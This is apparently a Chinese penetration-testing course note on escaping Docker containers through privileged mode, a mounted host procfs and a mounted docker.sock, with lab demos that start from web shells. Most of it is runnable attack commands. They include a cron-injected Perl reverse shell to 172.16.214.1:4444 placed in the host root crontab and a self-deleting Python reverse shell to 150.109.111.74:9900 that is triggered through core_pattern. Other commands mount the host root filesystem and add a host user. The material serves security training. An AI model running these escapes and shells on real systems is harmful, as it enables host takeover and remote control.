小迪安全v2023学习笔记(九十五讲)—— 云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

文章目录

  • 前记
  • 云上攻防------第九十五天
    • 云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载
      • 前置知识
      • [云原生 - Docker安全-容器逃逸&特权模式](#云原生 - Docker安全-容器逃逸&特权模式)
        • [1. 判断当前是否处于Docker容器](#1. 判断当前是否处于Docker容器)
        • [2. 判断是否是特权模式](#2. 判断是否是特权模式)
        • [3. 查看宿主机磁盘](#3. 查看宿主机磁盘)
        • [4. 将该磁盘挂载到容器文件](#4. 将该磁盘挂载到容器文件)
      • [云原生 - Docker安全-容器逃逸&挂载Procfs](#云原生 - Docker安全-容器逃逸&挂载Procfs)
        • [1. 判断当前是否处于Docker容器](#1. 判断当前是否处于Docker容器)
        • [2. 检测是否挂载Procfs](#2. 检测是否挂载Procfs)
        • [3. 查找容器绝对路径](#3. 查找容器绝对路径)
        • [4. 写入反弹Shell脚本](#4. 写入反弹Shell脚本)
        • [5. 执行崩溃程序](#5. 执行崩溃程序)
      • [云原生 - Docker安全-容器逃逸&挂载Socket](#云原生 - Docker安全-容器逃逸&挂载Socket)
        • [1. 判断当前是否处于Docker容器](#1. 判断当前是否处于Docker容器)
        • [2. 检测是否挂载Socket](#2. 检测是否挂载Socket)
        • [3. 挂载逃逸](#3. 挂载逃逸)
      • [云原生 - Docker安全-容器逃逸条件&权限高低](#云原生 - Docker安全-容器逃逸条件&权限高低)
        • [高权限 - Web入口到Docker逃逸(Java)](#高权限 - Web入口到Docker逃逸(Java))
        • [低权限 - Web入口到Docker逃逸(PHP)](#低权限 - Web入口到Docker逃逸(PHP))

前记

  • 今天是学习小迪安全的第九十五天,本节课是Docker安全的第一讲,主要围绕开发者不当的启动容器操作导致存在容器逃逸的风险
  • 然后本节课主要以理解思路和实战为主,希望你们自己下去复现一遍

云上攻防------第九十五天

云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

前置知识

Docker是干嘛的?
  • Docker是一种应用容器引擎,它允许开发者将应用以及其依赖打包成一个轻量级、可移植的容器
  • Docker有三个核心组件:
    1. 镜像(Image):Docker镜像是用来创建容器的模板,它是一个特殊的文件系统,包含了运行容器所需的程序、库、资源和配置文件。镜像是只读的,并且可以通过Dockerfile来定义和构建。
    2. 容器(Container):容器是镜像的运行实例,它是独立运行的,与其他容器相互隔离。容器可以被创建、启动、停止、删除和暂停。容器的存储层与镜像的只读层相结合,形成了容器的文件系统。
    3. 仓库(Repository):Docker仓库是用来存储和管理镜像的服务,它可以是公开的或私有的。开发者可以将自己创建的镜像推送到仓库中,也可以从仓库中拉取其他人分享的镜像。
  • 那我们这里主要是讨论的是Docker容器,其实就可以把他类比于某个应用的虚拟机,而像我们的VM就是针对于某个系统的虚拟机
Docker安装及使用
Docker对于渗透测试影响?
  • 这个前期讲过,因为Docker容器其实就相当于虚拟机,所以它是一个虚拟出来的空间,攻击者如果拿到容器的权限,也是在一个虚拟的空间里玩耍,对物理机没有任何影响
  • 因此我们这里如何对物理机产生危害,那就需要进行容器逃逸到物理机
Docker渗透测试点有哪些?
前渗透 - 判断是否在Docker容器中
没有权限
  • 在没有进行渗透之前,根据网站的信息我们其实是没什么办法知道这个网站是否采用Docker搭建
  • 主要就是看它的端口信息是否是非正常的端口,或者看扫描出来的端口详细信息中有没有线索
  • 更多的是看经验,比如docker容器的版本都是比较稳定的版本,或者可能没有维护版本过老,这些都是特征
拿到权限
  • 当我们拿到权限之后,再判断它是不是Docker容器就比较简单了,一般有几个方法
  1. 查询cgroup信息
shell 复制代码
cat /proc/1/cgroup
  • 如果是Docker容器,可能会返回如下信息:

  • 如果是K8S,可能会返回如下信息:

  • 如果是虚拟机环境,可能会返回如下信息:

  • 但是这个方法其实不是很准确,有的时候会返回如下信息,但这个也算是一种识别Docker容器的方法:

  1. 检查/.dockerenv文件
  • 可以通过根目录下是否存在 .dockerenv 文件来判断是否处于Docker容器下,这也是比较准确的一种方式:
shell 复制代码
ls -al /
  1. 其他判断方式:如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客
后渗透 - Docker容器逃逸
  • 当我们判断当前处于Docker容器内时,就可以尝试逃逸了,常见的逃逸思路基本如下三种:
    1. 特权模式启动导致:不安全的启动方式,适用于Java、ASP等高权限入口;PHP、Python低权限需要提权;与Docker、系统版本无关
    2. 危险挂载启动导致:危险启动,适用于Java、ASP等高权限入口;PHP、Python低权限需要提权;与Docker、系统版本无关
    3. Docker自身版本漏洞&系统内核漏洞:主要与软件版本和系统版本有关,高低权限都可用
  • 前两个方法其实不算是漏洞,它只是由于开发者在启动时不安全的举动造成 ,因此它与Docker版本无关;而第三个才是软件本身或者操作系统的缺陷导致容器逃逸成功,与Docker版本和操作系统的版本都有关系。
  • 参考文章:云原生 | T Wiki
  • 然后本节课我们主要讨论的是一、二点的容器逃逸方法,并且不考虑如何去拿取系统的权限

云原生 - Docker安全-容器逃逸&特权模式

shell 复制代码
# 拉取镜像
docker pull alpine

# 以特权模式允许镜像容器
docker run --rm --privileged=true -it alpine
1. 判断当前是否处于Docker容器
  • 然后我们先判断是否处于Docker容器,就用上述方法进行判断即可:
shell 复制代码
ls -al /
  • 或者也可以使用这个命令判断(当然有时是判断不出来的):
shell 复制代码
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
2. 判断是否是特权模式
  • 我们可以通过如下命令去判断是否处于特权模式:
shell 复制代码
cat /proc/self/status | grep CapEff
  • 如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff 或者是 0000001fffffffff
  • 这里确定它的特权模式之后,我们就可以将宿主机的磁盘挂载到容器中,通过创建定时任务去完成逃逸
3. 查看宿主机磁盘
shell 复制代码
fdisk -l
4. 将该磁盘挂载到容器文件
  • 上面出现了Number 1、2、3说明我们当前有三块分区,我们需要确定那块分区被原宿主机挂载过:
shell 复制代码
cat /proc/mounts | awk '$1~/\/dev\/sda[0-9]/ {print $1}'
  • 这里sda3已经被挂载过了,所以我们就将它挂载到test目录下:
shell 复制代码
mkdir /test && mount /dev/sda3 /test && ls /test
  • 这里就说明成功挂载,并且能够成功访问到宿主机的文件,我们可以验证一下是否确实是宿主机的根目录:

  • 之后我们就可以尝试利用启动计划任务的方式让我们进行容器逃逸:

shell 复制代码
echo $'*/1 * * * * perl -e \'use Socket;$i="172.16.214.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
  • 或者我们通过宿主机的目录创建一个新用户登录系统,再做权限提升
shell 复制代码
mount /dev/sda3 /mnt
chroot /mnt adduser john

云原生 - Docker安全-容器逃逸&挂载Procfs

  • 参考文章:挂载宿主机 procfs 逃逸 | T Wiki
  • 通过挂载的文件进行逃逸,一个是宿主机的Procfs,一个是Docker Sokcet
  • procfs是一个伪文件系统 ,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
  • 首先启动环境,然后这里也是随便找的比较小的容器,并挂载procfs系统:
shell 复制代码
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
1. 判断当前是否处于Docker容器
2. 检测是否挂载Procfs
  • 使用如下命令检测:
shell 复制代码
find / -name core_pattern
  • 如果找到两个 core_pattern 文件 ,那可能就是挂载了宿主机的 procfs,然后我们记住这个/host/proc/sys/kernel/core_pattern文件,之后会用到
3. 查找容器绝对路径
  • 接着我们通过如下命令找到当前容器在宿主机下的绝对路径:
shell 复制代码
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
  • 这就表示当前容器的绝对路径如下(注意这里要将/work改为/merged):
shell 复制代码
/var/lib/docker/overlay2/0c9b9ffebacc3b9f097218447badbc65b1b784a5c18eef0273370bcd1f3ec6fe/merged
  • 记住这个路径,之后要用到
4. 写入反弹Shell脚本
  • 直接写入如下命令创建一个反弹Shell脚本:
shell 复制代码
cat >/tmp/.x.py << EOF  
#!/usr/bin/python  
import os  
import pty  
import socket  
lhost = "150.109.111.74" # 反弹IP  
lport = 9900 # 反弹端口  
def main():  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.connect((lhost, lport))  
    os.dup2(s.fileno(), 0)  
    os.dup2(s.fileno(), 1)  
    os.dup2(s.fileno(), 2)  
    os.putenv("HISTFILE", '/dev/null')  
    pty.spawn("/bin/bash")  
    os.remove('/tmp/.x.py')  
    s.close()  
if __name__ == "__main__":  
    main()  
EOF
  • 然后给他赋予执行权限:
shell 复制代码
chmod 777 /tmp/.x.py
  • 接着我们将该脚本写到宿主机的core_pattern目录(即目标proc目录)下:
shell 复制代码
echo -e "|/var/lib/docker/overlay2/0c9b9ffebacc3b9f097218447badbc65b1b784a5c18eef0273370bcd1f3ec6fe/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern
  • 一定要注意这里的很多空格,不要改动它
5. 执行崩溃程序
  • 我们先在攻击机上开启监听:

  • 然后在容器中创建如下代码的文件,该文件执行之后会崩溃:

shell 复制代码
cat >/tmp/x.c << EOF
#include <stdio.h>  
int main(void) {  
    int *a = NULL;  
    *a = 1;  
    return 0;  
}  
EOF
  • 并且编译该文件,当然这里我们一般是直接从本地上传编译之后的文件到目标系统
shell 复制代码
apt-get update && apt install -y gcc
gcc /tmp/x.c -o /tmp/x
  • 执行该文件:
shell 复制代码
cd /tmp/ && ./x
  • 这里能够成功执行报错,但是反弹Shell并没有成功,我也不知道问题出在哪了

云原生 - Docker安全-容器逃逸&挂载Socket

  • 参考文章:挂载 Docker Socket 逃逸 | T Wiki
  • Docker Socket 用来与守护进程通信即查询信息或者下发命令。
  • 首先还是启动一个docker容器,然后挂载/var/run/docker/sock文件:
shell 复制代码
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
  • 并且在容器内安装Docker命令行客户端:
shell 复制代码
docker exec -it with_docker_sock /bin/bash
apt-get update
apt-get install -y curl
curl -fsSL https://get.docker.com/ | sh
1. 判断当前是否处于Docker容器
  • 这个就不再说了
2. 检测是否挂载Socket
  • 执行如下命令,如果存在这个文件,就说明可能存在挂载Socket:
shell 复制代码
ls -lah /var/run/docker.sock
  • 这里可以看到是存在这个文件的,那就可能存在该漏洞
3. 挂载逃逸
  • 我们在容器内部再创建一个新的容器,并将宿主机目录挂载到新的容器内部:
shell 复制代码
docker run -it -v /:/host ubuntu /bin/bash
  • 此时这里的目录文件已经是宿主机的目录文件了,可以看到两个目录是一模一样的:

  • 如果不信的话,我们可以先在主机上创建一个文件,然后再进行逃逸看看文件是否存在

云原生 - Docker安全-容器逃逸条件&权限高低

  • 然后经过上面的案例演示,我们应该已经知道了这两种逃逸的方式,那接下来就模拟真实情况下可能会出现的问题
  • 这里我们都以特权模式启动,来演示逃逸效果
高权限 - Web入口到Docker逃逸(Java)
  • 我们用Java中的Shiro组件来演示真实情况下的Docker逃逸:
shell 复制代码
docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
  • 访问8888端口是一个shiro组件的页面:

  • 直接工具一把梭拿权限:

  • 可以看到是docker容器,然后我们尝试逃逸:

  • 可以看到成功逃逸,然后我们就可以创建定时任务,尝试反弹Shell了

低权限 - Web入口到Docker逃逸(PHP)
  • 同样,先创建一个docker容器,这里我们创建的是一个php应用:
shell 复制代码
docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
  • 先将难度调到最低,然后上传文件拿到Shell:

  • 然后以同样的方式尝试容器逃逸:

  • 可以看到,它提示我们没有权限去执行命令,什么情况呢?我们可以查看一下自己的用户:

  • 我们发现自己是一个低权限用户,因此没有办法执行很多敏感命令,因此这个逃逸不了

  • 那刚刚的shiro为什么能够逃逸成功呢?因为Java应用进入默认是root高权限,而PHP应用进入默认是www-data低权限用户,所以不同的网站应用,不同的用户权限,也会影响容器逃逸的成功与否!

相关推荐
Yupureki2 小时前
从零开始的C++学习生活 2:类和对象(上)
c语言·开发语言·c++·学习·visual studio
聪明的笨猪猪2 小时前
Java 内存模型(JMM)面试清单(含超通俗生活案例与深度理解)
java·经验分享·笔记·面试
charlie1145141912 小时前
从《Life of A Pixel》来看Chrome的渲染机制
前端·chrome·学习·渲染·浏览器·原理分析
来不及辣哎呀2 小时前
学习Java第三十天——黑马点评37~42
java·开发语言·学习
bxlj_jcj3 小时前
StatefulSet:有状态应用的“定海神针”
云原生·容器·kubernetes
森林-3 小时前
Spring Cloud Netflix Eureka:从微服务基础到高可用集群实战
微服务·云原生·eureka·springcloud
想唱rap3 小时前
Linux指令(1)
linux·运维·服务器·笔记·新浪微博
东方芷兰4 小时前
LLM 笔记 —— 02 大语言模型能力评定
人工智能·笔记·python·神经网络·语言模型·自然语言处理·cnn
K_i1344 小时前
K8s集群CNI升级:Calico3.28.2安装全攻略
云原生·容器·kubernetes